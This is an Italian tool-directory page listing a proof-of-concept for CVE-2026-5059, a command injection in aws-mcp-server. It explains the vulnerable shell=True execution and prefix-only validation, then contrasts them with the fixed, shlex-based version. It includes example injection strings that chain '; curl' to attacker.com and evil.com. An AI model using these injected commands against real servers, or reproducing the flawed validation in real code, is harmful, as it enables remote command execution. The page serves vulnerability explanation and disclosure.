Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/pwn0x000/cve-2026-5059-poc
Analisi delle VulnerabilitàExploitPenetration TestingCommand and Control
GitHubpwn0x000/cve-2026-5059-poc

CVE-2026-5059-poc

Proof-of-concept per CVE-2026-5059, un'iniezione di comandi in aws-mcp-server tramite shell=True e validazione incompleta, con analisi del codice vulnerabile e corretto.

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Dov'è CVE-2026-5059 nel codice? La vulnerabilità risiede in due file che lavorano insieme:

File 1: tools.py — La causa principale La vecchia versione utilizzava shell=True in execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) Quando shell=True, la shell del sistema operativo interpreta l'intera stringa, inclusi ;, &&, ||, backtick — quindi tutto ciò che segue ; viene eseguito come comando separato.

File 2: security.py — La protezione incompleta Il validatore controllava solo che il comando iniziasse con aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe Quindi aws s3 ls ; curl http://attacker.com superava la validazione — inizia con aws — poi shell=True eseguiva entrambe le parti.

Perché la versione attuale (v1.7.0) è diversa Guardando il codice attuale, entrambi i problemi sono stati eliminati: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation E security.py è stato eliminato del tutto — sostituito dalla sandbox del sistema operativo (Landlock/bwrap/Seatbelt). Ora il ; è innocuo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess riceve ';' come argomento letterale per aws → AWS CLI lo ignora, nessun secondo comando viene eseguito

Riepilogo in una riga Versione vulnerabileVersione attuale v1.7.0Esecuzioneshell=True + stringashell=False + listaValidazionesolo startswith("aws")sandbox a livello OS; gestioneeEseguito dalla shellTrattato come testo letterale La CVE è stata registrata contro la vecchia versione. ZDI l'ha pubblicata come 0-day perché il fornitore ha respinto la segnalazione — ma l'architettura si era già allontanata da shell=True prima che la CVE fosse pubblicata.

Scarica lo strumento